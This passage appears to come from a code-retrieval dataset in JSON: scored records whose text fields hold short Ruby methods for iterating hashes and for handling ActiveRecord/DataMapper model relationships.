@hash.each(&block)\n end", "title": "" }, { "docid": "68f2b6b3c866a1a29efed1094f1e9846", "score": "0.55522126", "text": "def walk_keys(data, &block)\n if data.is_a? Hash\n data.each_with_object({}) do |(k, v), acc|\n v = walk_keys(v, &block)\n acc[yield(k)] = v\n end\n elsif data.is_a? Array\n data.map { |v| walk_keys(v, &block) }\n else\n data\n end\n end", "title": "" }, { "docid": "6e6bc07f4612cefa7dd3cdd26500f9ba", "score": "0.5551796", "text": "def get_city_names(somehash)\n somehash.each { |k,v| puts k } \nend", "title": "" }, { "docid": "9bf149c21b0de0f9f0499b605f71ed81", "score": "0.5549654", "text": "def each_value\n\t\t@a.each {|k| yield(@h[k])}\n\tend", "title": "" }, { "docid": "5f475ee4c6939f54ecd0d50e49905abf", "score": "0.55406904", "text": "def get_iter hash, keys, default: nil\n current_key = keys.shift\n\n if hash.is_a? Hash and (hash.has_key? current_key.to_s or hash.has_key? current_key.to_sym)\n key = ( hash.has_key? current_key.to_s ) ? current_key.to_s : current_key.to_sym\n\n if keys.empty?\n hash[key]\n else\n get_iter hash[key], keys, default: default\n end\n else\n default\n end\n end", "title": "" }, { "docid": "aec849fc16f289aa297048cd1a281f23", "score": "0.5531832", "text": "def each\n self.to_hash.each { |k,v| yield k,v if block_given? }\n end", "title": "" }, { "docid": "466278c160d0a3e304134feb5a5d5d94", "score": "0.5523565", "text": "def map_keys(hash, &block)\n hash.inject({}) do |result, (key, value)|\n result.merge({yield(key) => value})\n end\n end", "title": "" }, { "docid": "7006a7f20e76be926ff30e9d806597bc", "score": "0.55228233", "text": "def each\n @definition.symbols.each {|s,v| yield(s,v)}\n end", "title": "" }, { "docid": "ca49c9b47b1513e174148e4bdc1fa921", "score": "0.5520077", "text": "def each &block\n keys.each {|k| block.call [k, __getobj__.get(k)]}\n end", "title": "" }, { "docid": "6507f0610f2ee6530cbfde300545f0d7", "score": "0.5519873", "text": "def each\n @names.each{|n| yield self[n]}\n end", "title": "" }, { "docid": "6fccb59e99dd0b6d41b4968e9873908a", "score": "0.55185986", "text": "def each_key(&block); end", "title": "" }, { "docid": "6fccb59e99dd0b6d41b4968e9873908a", "score": "0.55185986", "text": "def each_key(&block); end", "title": "" }, { "docid": "6fccb59e99dd0b6d41b4968e9873908a", "score": "0.55185986", "text": "def each_key(&block); end", "title": "" }, { "docid": "a6736c5274bf8a426b436a6c9b53e3dd", "score": "0.5517593", "text": "def hashwalk oid, &block\n hash = VBHash.new\n bulkwalk(oid).each do |vb|\n #value, key = block.call(vb)\n key ||= vb.oid\n hash[key] = vb\n end\n hash\n end", "title": "" }, { "docid": "d590c4b2ad3a78af0d8a1e71c9f1d1e6", "score": "0.5514292", "text": "def each # :yields: name\n registered.each_key { |k| yield k }\n end", "title": "" }, { "docid": "34c10d1f1b73ebaa51c390d4d25a5794", "score": "0.5514156", "text": "def visit_hash(node); end", "title": "" }, { "docid": "50450a3c84044763ca343a76f9693c34", "score": "0.5513584", "text": "def traverse_hash(hash_or_not, &blk)\n case hash_or_not\n when Hash then\n hash_or_not.each_pair do |_k, v|\n traverse_hash(v, &blk)\n end\n else yield hash_or_not\n end\n end", "title": "" }, { "docid": "f0913d1391a342430c35e2ced37dc63e", "score": "0.5512264", "text": "def each_pair(&proc)\n enum = getMapNames\n while enum.has_more_elements\n key = enum.next_element\n proc.call key, getObject(key)\n end\n end", "title": "" }, { "docid": "644c9f5cbd26abdce442cbe57702a2f3", "score": "0.55099845", "text": "def each_hash; end", "title": "" }, { "docid": "dfa409f61a53e52bbcaa374981bd01b1", "score": "0.5509707", "text": "def each\n keys.each do |key|\n yield key, self[key]\n end\n end", "title": "" }, { "docid": "c6cb4da36a030a19d42c0ebe26bbd5f2", "score": "0.55084443", "text": "def hash(hash, &block)\n hash.each_with_object({}) do |(key, value), result|\n # Recursively deep-symbolize subhashes\n value = _recurse_(value, &block)\n\n # Pre-process the key with a block if it was given\n key = yield key if block_given?\n # Symbolize the key string if it responds to to_sym\n sym_key = begin\n key.to_sym\n rescue StandardError\n key\n end\n\n # write it back into the result and return the updated hash\n result[sym_key] = value\n end\n end", "title": "" }, { "docid": "78094222cc9474187c39f006e6ec7e2e", "score": "0.55050576", "text": "def hash_pairs (h)\r\n\th.each_pair {|key, value| puts \"La llave es: #{key}, y el valor es: #{value}\"}\r\nend", "title": "" }, { "docid": "c6281630bee05232f02a74351b2763e0", "score": "0.5496683", "text": "def each_pair(args={}, &block)\n each(args).map() { |e| [e.name, e] }.each(&block)\n end", "title": "" }, { "docid": "396a81adc035a49c70b9b75299f8964d", "score": "0.5488077", "text": "def get_city_names(somehash)\n somehash.each { |k,v| puts k }\nend", "title": "" }, { "docid": "6b5c90f6d87a8a380544172550c10fa0", "score": "0.5484294", "text": "def each\n return to_enum unless block_given?\n @keys.each do |key| yield(key, @h[key]) if key end\n self\n end", "title": "" }, { "docid": "d9d1527b53d9a497c389b932fdf3f11a", "score": "0.5483176", "text": "def each\n keys.each { |k| yield(k, get(k)) }\n end", "title": "" }, { "docid": "037548a9efe7b2102879bd536342d85c", "score": "0.5481053", "text": "def each_key(&block)\n\t\treturn enum_key.each(&block)\n\tend", "title": "" }, { "docid": "7b99bb98b6836aa12ef2be7d5e77da49", "score": "0.547227", "text": "def each(*args, &block)\n @hash.each(*args, &block)\n end", "title": "" }, { "docid": "7b99bb98b6836aa12ef2be7d5e77da49", "score": "0.547227", "text": "def each(*args, &block)\n @hash.each(*args, &block)\n end", "title": "" }, { "docid": "c393a1bb9ce5d6768add8dbef34cae17", "score": "0.5472149", "text": "def each_key(&block)\n if block_given?\n each { |node| block.call(node.first) }\n else\n to_enum(:each_key)\n end\n end", "title": "" }, { "docid": "2258adc21cc9d2d700a927b4833ecb00", "score": "0.54694474", "text": "def each_key\n each { |k, _| yield k }\n end", "title": "" }, { "docid": "d5c3022ee468c4771b92adc982ef2572", "score": "0.5466088", "text": "def each_pair(&block)\n instance_variables.each do |key|\n yield as_sym(key), instance_variable_get(key)\n end\n self\n end", "title": "" }, { "docid": "2b333397c55ac0b18509793816685eac", "score": "0.5451993", "text": "def each_pair\n\t\teach do |key, value| yield key, value end\n\tend", "title": "" }, { "docid": "082dd34d11d5a7846c19a0625489015c", "score": "0.5451613", "text": "def each_key\n\n\t\treturn @elements.each_key unless block_given?\n\n\t\tkeys.each do |element|\n\n\t\t\tyield element\n\t\tend\n\tend", "title": "" }, { "docid": "20e1d364ab9a027e5520f8fe9ce52f83", "score": "0.5449304", "text": "def each &block\n names.each(&block)\n end", "title": "" }, { "docid": "c8bd96736c57fe1c50eaeec9fb4db5e4", "score": "0.54470533", "text": "def each_key(&_block)\n @_enum_hash.each_value do |v|\n yield v.key\n end\n end", "title": "" }, { "docid": "b53a61cb38382a7740397f7c79fc34ab", "score": "0.5441708", "text": "def greeting\n\tname1 = \"TJ\"\n\tname2 = \"Rj\"\n\tname3 = \"Bj\"\n\tyield(name1, name2, name3)\nend", "title": "" }, { "docid": "98cf1e91ff1949937b1a21ed0ee6a683", "score": "0.5440752", "text": "def each_key(&block)\n keys.each(&block)\n end", "title": "" }, { "docid": "98cf1e91ff1949937b1a21ed0ee6a683", "score": "0.5440752", "text": "def each_key(&block)\n keys.each(&block)\n end", "title": "" }, { "docid": "7c8f8275442b37cd228a66e4d1c2eaa9", "score": "0.5439767", "text": "def iterator(hash)\n hash.each_with_index do |(key, value), index|\n yield(value, key.empty? ? (index + 1) : key)\n end\n end", "title": "" }, { "docid": "24b412b675539085d43ca53d3b5c5642", "score": "0.54367346", "text": "def each_pair\n keys.each do |key|\n yield(key, fetch(key))\n end\n end", "title": "" }, { "docid": "e6f0fdb16fb643bd829a6c7118fb4396", "score": "0.54319364", "text": "def each(&block)\n @keys.each_value(&block)\n end", "title": "" }, { "docid": "61bcfa7f6b49e79158c8e07e3e5f00da", "score": "0.5423318", "text": "def get_city_names(somehash)\n somehash.each { |k, v| puts k }\nend", "title": "" }, { "docid": "61bcfa7f6b49e79158c8e07e3e5f00da", "score": "0.5423318", "text": "def get_city_names(somehash)\n somehash.each { |k, v| puts k }\nend", "title": "" }, { "docid": "ac911e1e5dd326e68e46380e435f266f", "score": "0.54225975", "text": "def each\n @tokens.each {|name, value| yield name, value }\n end", "title": "" }, { "docid": "abc76f19f391b67b78ddc380230d12cb", "score": "0.54139316", "text": "def get_city_names(somehash)\n city_names = somehash.keys\n\n city_names.each do |city|\n puts city\n end\nend", "title": "" }, { "docid": "d35ca3d2d7c6bd8702006195b2c05e7d", "score": "0.5412277", "text": "def each_hash(with_table=nil, &block)\n return enum_for(:each_hash, with_table) unless block\n while rec = fetch_hash(with_table)\n block.call rec\n end\n self\n end", "title": "" } ]
b5a8e9f73ce977322acef95a454c7b7b
Returns relationships object. Relationships added with relate, relate_if, relate_each and include (with :relate option).
[ { "docid": "762222a67720fe362374839049ccb731", "score": "0.6489654", "text": "def relationships\n @relationships.each do |k, v|\n if v.respond_to?(:uniq!)\n v.uniq!\n @relationships[k] = v.first if v.length == 1\n end\n end\n @relationships\n end", "title": "" } ]
[ { "docid": "71694067a50086b47a38aa5f7d7c2871", "score": "0.7547389", "text": "def relationships\n @relationships ||= Relationship.from_associations(self, associations)\n end", "title": "" }, { "docid": "0f271b4fa6670599519f7c0944d3e4e1", "score": "0.72382826", "text": "def relationships\n model.relationships(repository.name)\n end", "title": "" }, { "docid": "7cee85540d583749adc3723853806a93", "score": "0.7151393", "text": "def relationships\n @relationships ||= {}\n end", "title": "" }, { "docid": "ad17d05c1787c35998d45b01479650b6", "score": "0.6889816", "text": "def relationships\n r = Relationships.new\n @worksheets.each do |sheet|\n r << Relationship.new(sheet, WORKSHEET_R, format(WORKSHEET_PN, r.size + 1))\n end\n pivot_tables.each_with_index do |pivot_table, index|\n r << Relationship.new(pivot_table.cache_definition, PIVOT_TABLE_CACHE_DEFINITION_R, format(PIVOT_TABLE_CACHE_DEFINITION_PN, index + 1))\n end\n r << Relationship.new(self, STYLES_R, STYLES_PN)\n if use_shared_strings\n r << Relationship.new(self, SHARED_STRINGS_R, SHARED_STRINGS_PN)\n end\n r\n end", "title": "" }, { "docid": "ee723042013e5d37a9649ab001016472", "score": "0.67822105", "text": "def relationships\n r = Relationships.new\n r << Relationship.new(cache_definition, PIVOT_TABLE_CACHE_DEFINITION_R, \"../#{cache_definition.pn}\")\n r\n end", "title": "" }, { "docid": "83405226c368946a76fb446e0eed3bc1", "score": "0.6719535", "text": "def relations\n @relations ||= process_rels\n end", "title": "" }, { "docid": "75562db6565416f2c2571ef1878881ac", "score": "0.6619093", "text": "def get_relations\n # Descobrir as relacoes:\n # Orientados\n # Projetos de Pesquisa\n # Producoes Bibliograficas\n # Consultar o RP de cada uma\n # Somar os RPs e retornar\n orientados = self.get_relations_of_orientados\n projetos = self.get_relations_of_projetos_pesquisa\n producoes = self.get_relations_of_producoes_bibliograficas\n\n relations = (orientados | projetos | producoes).delete self.id\n return relations.to_a\n end", "title": "" }, { "docid": "139700b596d161a2f13e91c568314a8e", "score": "0.66139346", "text": "def relationships\n return [] if empty?\n\n map { |table| Relationship.new(table, TABLE_R, \"../#{table.pn}\") }\n end", "title": "" }, { "docid": "d04449b73f51d60f13776db4bf128578", "score": "0.6579186", "text": "def child_ontology_relationships(options = {}) # :yields: Array of OntologyRelationships\n opt = {\n :relationship_type => 'all' # or a ObjectRelationships#id\n }.merge!(options.symbolize_keys)\n\n # TODO: modify to sort by first(top) label\n if opt[:relationship_type] == 'all'\n OntologyRelationship.find(:all, :include => [:ontology_class1, :object_relationship, :ontology_class2], :conditions => ['ontology_class2_id = ?', self.id]) # .sort{|x,y| x.ontology_class1.preferred_label.name <=> y.ontology_class1.preferred_label.name}\n else\n OntologyRelationship.find(:all, :include => [:ontology_class1, :object_relationship, :ontology_class2], :conditions => ['ontology_class2_id = ? AND object_relationship_id = ?', self.id, opt[:relationship_type]]) # .sort{|x,y| x.ontology_class1.preferred_label.name <=> y.ontology_class1.preferred_label.name}\n end\n end", "title": "" }, { "docid": "661cea6444f815436b248c7f7947ab98", "score": "0.6545435", "text": "def list_relationships\n end", "title": "" }, { "docid": "f2874aca162429108e40b6dac30ac76e", "score": "0.654368", "text": "def relations\n return @relations if defined?(@relations)\n\n relations = injected_options.fetch(:relations, nil)\n relations = allowed_options.fetch(:relations, []) if relations.nil?\n\n @relations = Relations.new(relations, includes)\n end", "title": "" }, { "docid": "769a7374e083ac484c200f8b035a22fb", "score": "0.65195054", "text": "def relationships\n return [] if empty?\n\n map { |pivot_table| Relationship.new(pivot_table, PIVOT_TABLE_R, \"../#{pivot_table.pn}\") }\n end", "title": "" }, { "docid": "fd691010f1eeecbe0ef373bbe155ca04", "score": "0.64451665", "text": "def get_relations_referring_to_object(type, id)\n api_call_with_type(type, id, \"#{type}/#{id}/relations\")\n end", "title": "" }, { "docid": "39944de37c3021c8d8c5e513272c530f", "score": "0.6407773", "text": "def get_relations_from_api(api=Rosemary::API.new)\n api.get_relations_referring_to_object(type, self.id.to_i)\n end", "title": "" }, { "docid": "0b0f258ba0775b5af239fbfc4ab54123", "score": "0.6305534", "text": "def my_relationships(name)\n self.class.find_relationship(name).find_by_participant(self)\n end", "title": "" }, { "docid": "c819a62e2f2cc685f238e903145155da", "score": "0.62282366", "text": "def relations\n self.class.relations\n end", "title": "" }, { "docid": "84087f1f4383aa7706b9a45c0544307d", "score": "0.62099594", "text": "def relations\n _relations\n end", "title": "" }, { "docid": "84087f1f4383aa7706b9a45c0544307d", "score": "0.62099594", "text": "def relations\n _relations\n end", "title": "" }, { "docid": "6065918a1fc5ef1b6c5a2cf5b4f2c06c", "score": "0.61935306", "text": "def jsonapi_relationships\n\t\t\t\t\tjsonapi_model_class.reflect_on_all_associations.collect do |association|\n\t\t\t\t\t\t#type = nil\n\n\t\t\t\t\t\ttype = :to_one if [\n\t\t\t\t\t\t\tActiveRecord::Reflection::HasOneReflection, \n\t\t\t\t\t\t\tActiveRecord::Reflection::BelongsToReflection\n\t\t\t\t\t\t].include? association.class\n\n\t\t\t\t\t\ttype = :to_many if [\n\t\t\t\t\t\t\tActiveRecord::Reflection::HasManyReflection, \n\t\t\t\t\t\t\tActiveRecord::Reflection::HasAndBelongsToManyReflection\n\t\t\t\t\t\t].include? association.class\n\n\t\t\t\t\t\tnext unless type\n\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tname: association.name,\n\t\t\t\t\t\t\ttype: type,\n\t\t\t\t\t\t\treceiver: {\n\t\t\t\t\t\t\t\ttype: association.klass.to_s.underscore.pluralize.to_sym,\n\t\t\t\t\t\t\t\tclass: association.klass.to_s.constantize\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\tend.compact\n\t\t\t\tend", "title": "" }, { "docid": "77e5784c37103bff9c3a8f7e5f1bd95f", "score": "0.6186454", "text": "def relationships\n return [] unless has_comments?\n\n comments.relationships\n end", "title": "" }, { "docid": "b7d3c332659c56f6fc0a4e83a8105dc6", "score": "0.6177711", "text": "def relation\n @relation ||= begin\n additions = false\n # TODO: merge! has unexpected results.\n frag = include_params.reduce(model.all) do |result, inclusion|\n config = config_for(inclusion)\n query = config.respond_to?(:keys) ? config.values.first : nil\n unless query.nil?\n additions = true\n result = result.merge(query)\n end\n result\n end\n additions ? frag : nil\n end\n end", "title": "" }, { "docid": "bf8b9ec320add25e53b1ca7a00795e5e", "score": "0.61763644", "text": "def relations\n @relations ||= {}\n end", "title": "" }, { "docid": "b28d7fca085505837d9c18877a9dd8f5", "score": "0.61541903", "text": "def model_relationships; end", "title": "" }, { "docid": "f04bf7e80029715b11ecd62e5e5a4596", "score": "0.6145128", "text": "def relationship(*args)\n options = args.extract_options!\n if options[:raise_on_multiple]\n rels = relationships.take(2)\n raise _(\"Multiple relationships found\") if rels.length > 1\n rels.first\n else\n relationships.first\n end\n end", "title": "" }, { "docid": "a86661c8c1fa533d899fbf786db44224", "score": "0.61066216", "text": "def logical_relatives(options = {}) # :yields: {OntologyClass => implied_redundant_relationships ? true : false}\n return [] if !ObjectRelationship.find_by_interaction_and_proj_id('is_a', self.proj_id) || !ObjectRelationship.find_by_interaction_and_proj_id('part_of', self.proj_id)\n\n rel1 = Proj.find(self.proj_id).object_relationships.by_interaction('is_a').first.id\n rel2 = Proj.find(self.proj_id).object_relationships.by_interaction('part_of').first.id\n return [] if !rel1 || !rel2\n\n opt = {\n :direction => :children, # [:parents | :children]\n :rel1 => rel1,\n :rel2 => rel2\n }.merge!(options.symbolize_keys)\n\n return nil if ![:parents, :children].include?(opt[:direction])\n\n first_result = [] # all the part_of\n second_result = [] # part_of through is_a\n\n result = {}\n\n # Find/recurse the isa/part_of tree, this gets us a unique array of pertinent OntologyRelationships\n # that reflect OntologyClass relationships that are related by one of rel1 or rel2 at each inspection.\n rels = self.related_ontology_relationships(opt.merge(:relationship_type => [opt[:rel1], opt[:rel2]]))\n\n return {} if rels == nil\n\n # get all the part_of resuls, anything below and with a part_of, is part_of (since all others are is_a)\n to_nuke = [] # index of rels to delete before next itteration\n rels.each do |r|\n nuke = false # boolean check for delete\n if r.object_relationship_id == opt[:rel2]\n nuke = true\n if opt[:direction] == :parents\n first_result.push(r.ontology_class2)\n else\n first_result.push(r.ontology_class1)\n end\n end\n to_nuke.push(r) if nuke\n end\n\n # !! don't do uniq on first result\n\n # try to invoke some loop speedup by deleting values we don't need to loop through\n rels.delete_if{|r| to_nuke.include?(r)}\n rels.delete_if{|r| !r.object_relationship_id == opt[:rel1]} # we only need to deal with isas of rel1 now\n\n # for all of the part_of results also get the is_a children (or whatever rel2 -> rel1 relationship is)\n\n rels.each do |rel|\n first_result.uniq.each_with_index do |r,i|\n if opt[:direction] == :parents\n second_result.insert(-1, rel.ontology_class2) if (rel.ontology_class1 == r)\n else\n second_result.insert(-1, rel.ontology_class1) if (rel.ontology_class2 == r)\n end\n end\n end\n\n second_result.uniq! # don't imply redundancies from hitting an is_a twice (is this right?! - gives \"correct\" result AFAIKT)\n\n (first_result + second_result).each do |r|\n result.merge!(r => (!result.keys.include?(r) ? false : true))\n end\n\n result\n end", "title": "" }, { "docid": "2d913beb1c2133a8e7c984fcfa79f8af", "score": "0.60943985", "text": "def hydrate_relationships(included_resources)\n contributors.map! do |contributor|\n find_relationship_in_included(contributor,\n included_resources)\n end\n end", "title": "" }, { "docid": "707d83f9c79edcfb8638174432a9089e", "score": "0.6073036", "text": "def relationships\n [Relationship.new(self, VML_DRAWING_R, \"../#{vml_drawing.pn}\"),\n Relationship.new(self, COMMENT_R, \"../#{pn}\")]\n end", "title": "" }, { "docid": "e90c2806f07779ed2156160e1fb20327", "score": "0.6052811", "text": "def child_rels(*args)\n options = args.extract_options!\n rels = relationships.flat_map(&:children).uniq\n Relationship.filter_by_resource_type(rels, options)\n end", "title": "" }, { "docid": "24b2913ef278007b65304daae2773702", "score": "0.60467285", "text": "def associations\n model.relationships.to_a.collect { |name,rel|\n {\n :name => name.to_s,\n :type => association_type_lookup( rel ), # :has_many, :has_one, or :belongs_to\n :parent_model => rel.parent_model,\n :parent_key => rel.parent_key.collect { |p| p.name },\n :child_model => rel.child_model,\n :child_key => rel.child_key.collect { |p| p.name },\n :remote_rel => rel.options[:remote_relationship_name],\n :near_rel => rel.options[:near_relationship_name]\n }\n }\n end", "title": "" }, { "docid": "c81da31b67e6b648a31081d16f007e5b", "score": "0.60458857", "text": "def many_to_one_relationships\n relationships unless @relationships # needs to be initialized!\n @relationships.values.collect do |rels| rels.values end.flatten.select do |relationship| relationship.child_model == self end\n end", "title": "" }, { "docid": "cd51b7fd8afe8bedb18e2fcbbd591bb2", "score": "0.5971544", "text": "def relationships_for(model) # @private :nodoc:\n relationships_mapping[model] or []\n end", "title": "" }, { "docid": "e92c86573a6ab478d3dfc648ed1b1f01", "score": "0.596657", "text": "def rels(*rel_types)\n if rel_types.empty?\n AllRelsDsl.new(@_relationships, _java_node)\n else\n storage = _create_or_get_storage(rel_types.first)\n RelsDSL.new(storage)\n end\n end", "title": "" }, { "docid": "758323464c016858991deb781b9e398e", "score": "0.5950419", "text": "def define_relationship(opts)\n [:name, :contains_references_to_types].each do |p|\n opts[p] or raise \"No #{p} given\"\n end\n\n base = self\n\n ArchivesSpaceService.loaded_hook do\n # We hold off actually setting anything up until all models have been\n # loaded, since our relationships may need to reference a model that\n # hasn't been loaded yet.\n #\n # This is also why the :contains_references_to_types property is a proc\n # instead of a regular array--we don't want to blow up with a NameError\n # if the model hasn't been loaded yet.\n\n\n related_models = opts[:contains_references_to_types].call\n\n clz = Class.new(AbstractRelationship) do\n table = \"#{opts[:name]}_rlshp\".intern\n set_dataset(table)\n set_primary_key(:id)\n\n if !self.db.table_exists?(self.table_name)\n Log.warn(\"Table doesn't exist: #{self.table_name}\")\n end\n\n set_participating_models([base, *related_models].uniq)\n set_json_property(opts[:json_property])\n set_wants_array(opts[:is_array].nil? || opts[:is_array])\n end\n\n opts[:class_callback].call(clz) if opts[:class_callback]\n\n @relationships[opts[:name]] = clz\n\n related_models.each do |model|\n model.include(Relationships)\n model.add_relationship_dependency(opts[:name], base)\n end\n\n # Give the new relationship class a name to help with debugging\n # Example: Relationships::ResourceSubject\n Relationships.const_set(self.name + opts[:name].to_s.camelize, clz)\n\n end\n end", "title": "" }, { "docid": "1d816b9a26b4dc5df3565da3e6ccfb92", "score": "0.595012", "text": "def initialize_relationships\n @mappers.each do |mapper|\n @relationships.merge(mapper.relationships.find_dependent(@model))\n end\n\n @relationships.freeze\n end", "title": "" }, { "docid": "26f738133324feef8c0454f257382565", "score": "0.5942431", "text": "def rels\n @traversal_result = :rels\n self\n end", "title": "" }, { "docid": "7f1e21c055c37b86c1c7a311d3a47a1a", "score": "0.5933328", "text": "def find_relations\n puts '2nd pass: find relations'\n find :relations\n self\n end", "title": "" }, { "docid": "f46251a08a1c82e8750f0c6c535fbf51", "score": "0.59314024", "text": "def model_relationships\n hash = ActiveSupport::OrderedHash.new\n reflect_on_all_associations.map { |i| hash[i.name] = i.macro }\n return hash\n end", "title": "" }, { "docid": "3b4be8aa8a8f20fa6b7e156f25d0be28", "score": "0.5928749", "text": "def related\n request('related')\n end", "title": "" }, { "docid": "db809cdbc8b4001adbeec855e916ed88", "score": "0.59067947", "text": "def target_relations\n query = \"at:link[@rel = '#{Rel[repository.cmis_version][:relationships]}']/@href\"\n link = data.xpath(query, NS::COMBINED)\n if link.length == 1\n link = Internal::Utils.append_parameters(link.text, \"relationshipDirection\" => \"target\", \"includeSubRelationshipTypes\" => true)\n Collection.new(repository, link)\n else\n raise \"Expected exactly 1 relationships link for #{key}, got #{link.length}, are you sure this is a document/folder?\"\n end\n end", "title": "" }, { "docid": "a5c6f4cc333d69477bf16752c60215b7", "score": "0.58960825", "text": "def relationship\n return @relationship\n end", "title": "" }, { "docid": "f6d21b6bd15c4246a8071a54a2faadae", "score": "0.5883142", "text": "def gen_relationships\n @parser.relationships.each do |rel|\n through_str = ''\n lines = []\n if rel[:has_relationship]\n has_relationship = rel[:has_relationship].gsub(':', '..')\n case has_relationship\n when '1'\n rel_str = 'belongs_to'\n when 'n'\n rel_str = \"has n,\"\n else\n rel_str = \"has #{has_relationship},\"\n if rel[:through]\n through_str = \", :through => :#{rel[:through]}\"\n else\n through_str = \", :through => Resource\"\n end\n end\n \n if rel[:through]\n lines << \" has n, :#{rel[:through]}\"\n end\n line = \" #{rel_str} :#{rel[:variable]}#{through_str}\"\n line += \" # #{rel[:comment]}\" unless rel[:comment].empty?\n lines << line\n elsif rel[:relationship]\n lines << ' ' + rel[:relationship]\n end\n editor = ModelEditor.new(rel[:filename].snake_case)\n editor.insert(AFTER_PROPERTIES, lines)\n end\n end", "title": "" }, { "docid": "b373da29db74b5de69b764c68345d263", "score": "0.58806604", "text": "def get_relationships_of_type(type)\n g_command = get_command(type)\n relationships = self.send(g_command.to_sym)\n end", "title": "" }, { "docid": "d397b5063f7e0ba2502dd2381929d0a4", "score": "0.5868636", "text": "def sibling_rels(*args)\n options = args.extract_options!\n rels = relationships.flat_map(&:siblings).uniq\n Relationship.filter_by_resource_type(rels, options)\n end", "title": "" }, { "docid": "fd7a27e19c2d333c0b0971c4a7bc68a5", "score": "0.5863689", "text": "def associations\n # is caching ok?\n unless @associations\n @associations = {}\n klass.relations.each{|name,association|\n @associations[name.to_s] = Association.new(association,self)\n }\n end\n @associations\n end", "title": "" }, { "docid": "de1bfa64ebfec53b90057b380e947955", "score": "0.5854584", "text": "def relationships(*ids)\n perform_request_with_collection(:get, '/api/v1/accounts/relationships',\n array_param(:id, ids),\n Mastodon::Relationship)\n end", "title": "" }, { "docid": "365bbab6af8cf2b64e84984c604ef394", "score": "0.584761", "text": "def relationships_with_name(input, name)\n input.relations(name)\n end", "title": "" }, { "docid": "129d57a768377a91adbd26da76e09503", "score": "0.58442646", "text": "def requested_relationships(fields)\n @_relationships.select do |k, _|\n _conditionally_included?(self.class.relationship_condition_blocks, k)\n end\n end", "title": "" }, { "docid": "471e9c2c7ddbd7928b66fb79321b7f36", "score": "0.5827972", "text": "def parameterized_relationships\n @parameterized_relationships || OpenStruct.new(representations_for: [],\n documents_for: [],\n attachment_uris: [],\n attachments_for: [],\n constituent_of_uris: [],\n has_constituent_part: [])\n end", "title": "" }, { "docid": "dbec8023ca8a4f74fce16ea9a3eba93a", "score": "0.5823695", "text": "def apply_relationships(obj, json, opts, new_record = false)\n delete_existing_relationships(obj) if !new_record\n\n @relationships.each do |relationship_name, relationship_defn|\n property_name = relationship_defn.json_property\n\n # If there's no property name, the relationship is just read-only\n next if !property_name\n\n # For each record reference in our JSON data\n ASUtils.as_array(json[property_name]).each_with_index do |reference, idx|\n record_type = parse_reference(reference['ref'], opts)\n\n referent_model = relationship_defn.participating_models.find {|model|\n model.my_jsonmodel.record_type == record_type[:type]\n } or raise \"Couldn't find model for #{record_type[:type]}\"\n\n referent = referent_model[record_type[:id]]\n\n if !referent\n raise ReferenceError.new(\"Can't relate to non-existent record: #{reference['ref']}\")\n end\n\n # Create a new relationship instance linking us and them together, and\n # add the properties from the JSON request to the relationship\n properties = reference.clone.tap do |properties|\n properties.delete('ref')\n end\n\n properties[:aspace_relationship_position] = idx\n properties[:system_mtime] = Time.now\n properties[:user_mtime] = Time.now\n\n relationship_defn.relate(obj, referent, properties)\n\n # If this is a reciprocal relationship (defined on both participating\n # models), update the referent's lock version to ensure that a\n # concurrent update to that object won't clobber our changes.\n\n if referent_model.find_relationship(relationship_name, true) && !opts[:system_generated]\n DB.increase_lock_version_or_fail(referent)\n end\n end\n end\n end", "title": "" }, { "docid": "0b666b64de6acbba9cffd19ab7be397b", "score": "0.580859", "text": "def related(r)\n relation_set(r).first\n end", "title": "" }, { "docid": "cd43765464567a2a47b20c032d1d8e6f", "score": "0.57701147", "text": "def relationship_data\n data = @objects.try(:map) { |o| o.try(:relationship_data) }\n data.try(:compact!) || data\n end", "title": "" }, { "docid": "27ddaee232148d957ad7b7b476983961", "score": "0.5756765", "text": "def relationship( name, &block )\n require_identifier!\n return if context.linkage_only?\n\n include_or_mark_partial name do\n builder = RelationshipBuilder.new( context )\n yield builder\n\n relationships = ( output[:relationships] ||= {} )\n relationships[ name.to_sym ] = builder.compile\n end\n end", "title": "" }, { "docid": "aaa3c6123263928b4ab7971f207068fd", "score": "0.57508266", "text": "def get_related(**params)\n related = get(\"/related/#{id}.json\", params).body[1]\n client.object_from_body(related)\n end", "title": "" }, { "docid": "400cc68207d3805ec702b77d2b27bbff", "score": "0.57435805", "text": "def related_objects(relation = nil, result = nil)\n\t result ||= ValueSet.new\n\t if relation\n\t\tresult.merge(parent_objects(relation).to_value_set)\n\t\tresult.merge(child_objects(relation).to_value_set)\n\t else\n\t\teach_relation { |rel| related_objects(rel, result) }\n\t end\n\t result\n\tend", "title": "" }, { "docid": "cfe18529ac1c4450d7f85b8b8c19bc40", "score": "0.5740278", "text": "def mutual_relationships\n Relationship.find_by_sql([\"SELECT * from relationships t1 INNER JOIN relationships t2 ON (t1.follower_id = t2.followable_id) WHERE t1.follower_id = ? AND t1.id < t2.id AND t1.followable_type = 'User'\", self.id])\n end", "title": "" }, { "docid": "eb9b8764b27904f620f3959c2c3c5db0", "score": "0.5734384", "text": "def rels(node)\n @batch_inserter.getRelationships(node)\n end", "title": "" }, { "docid": "d700f2e2082e130984a5b0977c3b8884", "score": "0.5727299", "text": "def complile_relationships\n relationships = []\n @classifications.each do |classification|\n relationship = Relationship.new(@query, classification)\n relationships << relationship unless relationship.score.zero?\n end\n relationships.sort\n end", "title": "" }, { "docid": "d32d40da3b89797d2bc3fdabb5adec62", "score": "0.5723938", "text": "def add_relationship(rel_attr); end", "title": "" }, { "docid": "29c81012195d4725b359c6fd2899fd1f", "score": "0.570066", "text": "def instances_relating_to(obj)\n relationships.map {|relationship_defn|\n relationship_defn.who_participates_with(obj)\n }.flatten\n end", "title": "" }, { "docid": "bf24ffa5f21d9832eb7e019ca7c464bf", "score": "0.56983083", "text": "def relationship\n response[\"relationship\"]\n end", "title": "" }, { "docid": "95ef2db590fffdfe3c62051ed14621aa", "score": "0.56746006", "text": "def related_resources_recursive(result = [])\n Array(related_resources).each do |related_resource|\n unless result.include?(related_resource)\n result << related_resource\n if related_resource.respond_to?(:related_resources_recursive)\n related_resource.related_resources_recursive(result)\n end\n end\n end\n return result\n end", "title": "" }, { "docid": "f9379949200dbda5e56d09152d0a08c4", "score": "0.5669547", "text": "def associations\r\n [nil, joins]\r\n end", "title": "" }, { "docid": "a805b79514e4ec6861de7f8379d818e4", "score": "0.5666344", "text": "def get_relation(params = {})\n @arel = data_class.arel_table\n\n relation = data_class.scoped\n\n relation = apply_column_filters(relation, params[:filter]) if params[:filter]\n\n if params[:extra_conditions]\n 